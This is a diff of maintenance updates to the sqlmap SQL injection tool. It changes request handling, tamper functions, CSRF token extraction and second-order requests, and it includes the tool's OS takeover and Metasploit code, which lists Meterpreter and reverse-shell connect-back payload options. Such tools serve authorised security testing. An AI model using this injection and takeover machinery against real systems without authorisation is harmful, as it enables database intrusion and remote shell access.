warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg:
if not conf.disablePrecon:
singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
conf.disablePrecon = True
if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
kb.responseTimes.clear()
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
kb.droppingRequests = True
warnMsg = "connection timed out to the target URL"
elif "Connection reset" in tbMsg:
@@ -659,7 +664,7 @@ class Connect(object):
conf.disablePrecon = True
if kb.testMode:
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
kb.droppingRequests = True
warnMsg = "connection reset to the target URL"
elif "URLError" in tbMsg or "error" in tbMsg:
@@ -684,6 +689,9 @@ class Connect(object):
status = re.search(r"Handshake status ([\d]{3})", tbMsg)
errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
raise SqlmapConnectionException(errMsg)
elif "SqlmapCompressionException" in tbMsg:
warnMsg = "problems with response (de)compression"
retrying = True
else:
warnMsg = "unable to connect to the target URL"
@@ -719,7 +727,7 @@ class Connect(object):
else:
logger.debug(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
elif kb.testMode or kb.multiThreadMode:
logger.critical(warnMsg)
return None, None, None
else:
@@ -738,16 +746,16 @@ class Connect(object):
if conn and getattr(conn, "redurl", None):
_ = urlparse.urlsplit(conn.redurl)
_ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
if kb.resendPostOnRedirect is False:
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg)
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg)
requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg)
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
else:
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -766,7 +774,8 @@ class Connect(object):
return page, responseHeaders, code
@staticmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
@stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
"""
This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -796,6 +805,8 @@ class Connect(object):
raise404 = place != PLACE.URI if raise404 is None else raise404
method = method or conf.method
postUrlEncode = kb.postUrlEncode
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
@@ -804,17 +815,21 @@ class Connect(object):
headers = OrderedDict(conf.httpHeaders)
contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys())
if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode:
kb.postUrlEncode = False
if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
postUrlEncode = False
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload:
if kb.tamperFunctions:
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions:
hints = {}
try:
payload = function(payload=payload, headers=auxHeaders)
payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
except Exception, ex:
errMsg = "error occurred while running tamper "
errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -827,6 +842,18 @@ class Connect(object):
value = agent.replacePayload(value, payload)
if hints:
if HINT.APPEND in hints:
value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
if HINT.PREPEND in hints:
if place == PLACE.URI:
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
if match:
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
else:
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -835,24 +862,18 @@ class Connect(object):
# with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;")
elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = escapeJsonValue(payload)
elif kb.postHint == POST_HINT.JSON_LIKE:
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = escapeJsonValue(payload)
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
value = agent.replacePayload(value, payload)
else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
if kb.cookieEncodeChoice is None:
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -860,8 +881,11 @@ class Connect(object):
skip = True
if not skip:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below
if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
value = urlencode(value, spaceplus=kb.postSpaceToPlus)
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
value = agent.replacePayload(value, payload)
postUrlEncode = False
if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -929,16 +953,16 @@ class Connect(object):
if value and place == PLACE.CUSTOM_HEADER:
if value.split(',')[0].capitalize() == PLACE.COOKIE:
cookie = value.split(',', 1)[1]
cookie = value.split(',', 1)[-1]
else:
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue):
retVal = paramString
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString)
if match:
retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
retVal = re.sub(re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
else:
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
if match:
@@ -946,15 +970,27 @@ class Connect(object):
return retVal
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s\b[^>]*\bvalue=[\"']?(?P<result>[^>'\"]*)" % re.escape(conf.csrfToken), page or "")
if not token:
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=[\"']?(?P<result>[^>'\"]*)[\"']?[^>]*\bname=[\"']?%s\b" % re.escape(conf.csrfToken), page or "")
if not token:
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
token = match.group(1) if match else None
if not token:
token = extractRegexResult(r"\b%s\s*[:=]\s*(?P<result>\w+)" % re.escape(conf.csrfToken), str(headers))
if not token:
token = extractRegexResult(r"\b%s\s*=\s*['\"]?(?P<result>[^;'\"]+)" % re.escape(conf.csrfToken), page or "")
if token:
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token)
if match:
token = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
if not token:
if conf.csrfUrl != conf.url and code == httplib.OK:
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -978,7 +1014,7 @@ class Connect(object):
if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException, errMsg
raise SqlmapTokenException(errMsg)
if token:
token = token.strip("'\"")
@@ -1036,7 +1072,7 @@ class Connect(object):
name = safeVariableNaming(name)
elif name in keywords:
name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
variables[name] = value
if cookie:
@@ -1106,33 +1142,33 @@ class Connect(object):
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
if re.search(r"<%s\b" % re.escape(name), post):
found = True
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
elif re.search(r"\b%s>" % re.escape(name), post):
found = True
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
if not found and re.search(regex, (post or "")):
found = True
post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
if not found and re.search(regex, (post or "")):
found = True
post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
if re.search(regex, (get or "")):
found = True
get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
if re.search(regex, (query or "")):
found = True
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")):
found = True
cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
if not found:
if post is not None:
@@ -1148,7 +1184,7 @@ class Connect(object):
if post is not None:
if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif kb.postUrlEncode:
elif postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
if timeBasedCompare and not conf.disableStats:
@@ -1159,11 +1195,11 @@ class Connect(object):
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
warnMsg += "time-based injections because of inherent high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
warnMsg += "larger statistical model, please wait"
warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of")
dataToStdout(warnMsg)
while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
@@ -1233,11 +1269,20 @@ class Connect(object):
warnMsg = "site returned insanely large response"
if kb.testMode:
warnMsg += " in testing phase. This is a common "
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondOrder:
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
@@ -1253,12 +1298,18 @@ class Connect(object):
elif noteResponseTime:
kb.responseTimes.setdefault(kb.responseTimeMode, [])
kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
if len(kb.responseTimes) > MAX_TIME_RESPONSES:
kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
if message:
kb.permissionFlag = True
singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
if content or response:
return page, headers, code
@@ -1268,5 +1319,5 @@ class Connect(object):
else:
return comparison(page, headers, code, getRatioValue, pageLength)
def setHTTPHandlers(): # Cross-linked function
def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -12,6 +12,7 @@ import socket
import urllib2
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -48,7 +49,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
try:
sock = create_sock()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -33,6 +33,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
@@ -46,6 +47,7 @@ from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
from lib.request.connect import Connect as Request
from lib.request.direct import direct
@@ -75,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
value = _goDns(payload, expression)
if payload is None:
return None
if value is not None:
return value
@@ -174,10 +179,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
# forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
if limitCond:
@@ -335,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):
return output
@stackedmethod
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
"""
Called each time sqlmap inject a SQL query on the SQL injection
@@ -437,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
@@ -471,6 +475,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
singleTimeWarnMessage(warnMsg)
# Dirty patch (safe-encoded unicode characters)
if isinstance(value, unicode) and "\\x" in value:
try:
candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
if "\\x" not in candidate:
value = candidate
except:
pass
return extractExpectedValue(value, expected)
def goStacked(expression, silent=False):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -9,6 +9,8 @@ import httplib
import urllib2
from lib.core.data import conf
from lib.core.common import getSafeExString
from lib.core.exception import SqlmapConnectionException
class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
return self.do_open(self.getConnection, req)
def getConnection(self, host, timeout=None):
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
try:
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
except IOError, ex:
errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
urllib2.install_opener(opener)
# create Request and set Range header
req = urllib2.Request('http://www.python.org/')
req = urllib2.Request('https://www.python.org/')
req.header['Range'] = 'bytes=30-50'
f = urllib2.urlopen(req)
"""

View File

@@ -1,11 +1,10 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import time
import types
import urllib2
@@ -124,12 +123,21 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
if headers and HTTP_HEADER.SET_COOKIE in headers:
cookies = dict()
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
_ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
if HTTP_HEADER.COOKIE not in req.headers:
req.headers[HTTP_HEADER.COOKIE] = _
else:
req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
last = None
for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE):
if '=' in part:
part = part.strip()
key, value = part.split('=', 1)
cookies[key] = value
last = key
elif last:
cookies[last] += "%s%s" % (delimiter, part)
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
try:
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
except urllib2.HTTPError, e:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
retVal = kb.pageTemplates[(payload, place)]
return retVal

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import XP_cmdshell
class Abstraction(Web, UDF, XP_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
@@ -172,9 +171,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
inject.goStacked(expression)
# TODO: add support for PostgreSQL
#elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
# elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
self._initRunAs()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -81,6 +81,7 @@ class Metasploit:
_ = normalizePath(os.path.join(_, ".."))
if _ == old:
break
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
self._msfPayloadsList = {
"windows": {
1: ("Meterpreter (default)", "windows/meterpreter"),
2: ("Shell", "windows/shell"),
3: ("VNC", "windows/vncinject"),
},
"linux": {
1: ("Shell (default)", "linux/x86/shell"),
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
}
}
"windows": {
1: ("Meterpreter (default)", "windows/meterpreter"),
2: ("Shell", "windows/shell"),
3: ("VNC", "windows/vncinject"),
},
"linux": {
1: ("Shell (default)", "linux/x86/shell"),
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
}
}
self._msfConnectionsList = {
"windows": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
